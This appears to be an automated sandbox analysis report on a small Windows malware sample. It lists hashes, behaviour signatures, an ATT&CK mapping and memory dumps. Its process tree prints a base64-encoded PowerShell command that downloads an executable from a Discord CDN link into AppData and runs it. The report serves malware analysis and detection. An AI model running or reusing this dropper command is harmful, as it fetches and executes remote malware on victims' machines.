Analysis

  • max time kernel
    44s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    03-12-2022 23:07

General

  • Target

    hjasgfhjasgdas.exe

  • Size

    6KB

  • MD5

    378deda0d1313deba917adfc74173962

  • SHA1

    cb466cdd64949febdaaae75625d5a3ce0fff6e35

  • SHA256

    d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9

  • SHA512

    c1411ed00aeb88b6f92702132d20dac2efacd90e79aee697e1e0431353638353a5f9fa6b575676e0426f1434cede0f59e58559822cc45067893a30f6b8300281

  • SSDEEP

    96:Ck79rll3VI2St01vk+Al5tONtUqvkC4muMs6d3oj0dirl:J9r/33SCvkRgNtUqvkBmm6dNdq

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\hjasgfhjasgdas.exe
    "C:\Users\Admin\AppData\Local\Temp\hjasgfhjasgdas.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAeQB1ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADQAMgA0ADcANwA0ADEANwA2ADYAOAA4ADAAOAA3ADgANQAvADEAMAA0ADIANAA3ADcANQAwADYANAA4ADMAMQA5ADUAOQA2ADQALwBwAGwAbABtAG0AZABpAGkAcABtAC4AZQB4AGUAJwAsACAAPAAjAGwAdgBkACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdABqAHcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAawBlAGEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAZABzAGYAZgBlADQAdgBiADUALgBlAHgAZQAnACkAKQA8ACMAZQB6AHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYgByAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGcAcQB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGQAcwBmAGYAZQA0AHYAYgA1AC4AZQB4AGUAJwApADwAIwByAHMAawAjAD4A"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1868

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1368-54-0x00000000002D0000-0x00000000002D8000-memory.dmp
    Filesize

    32KB

  • memory/1368-55-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmp
    Filesize

    8KB

  • memory/1868-56-0x0000000000000000-mapping.dmp
  • memory/1868-58-0x000007FEF3740000-0x000007FEF4163000-memory.dmp
    Filesize

    10.1MB

  • memory/1868-59-0x000007FEF2BE0000-0x000007FEF373D000-memory.dmp
    Filesize

    11.4MB

  • memory/1868-60-0x00000000025B4000-0x00000000025B7000-memory.dmp
    Filesize

    12KB

  • memory/1868-61-0x00000000025BB000-0x00000000025DA000-memory.dmp
    Filesize

    124KB

  • memory/1868-63-0x00000000025BB000-0x00000000025DA000-memory.dmp
    Filesize

    124KB

  • memory/1868-62-0x00000000025B4000-0x00000000025B7000-memory.dmp
    Filesize

    12KB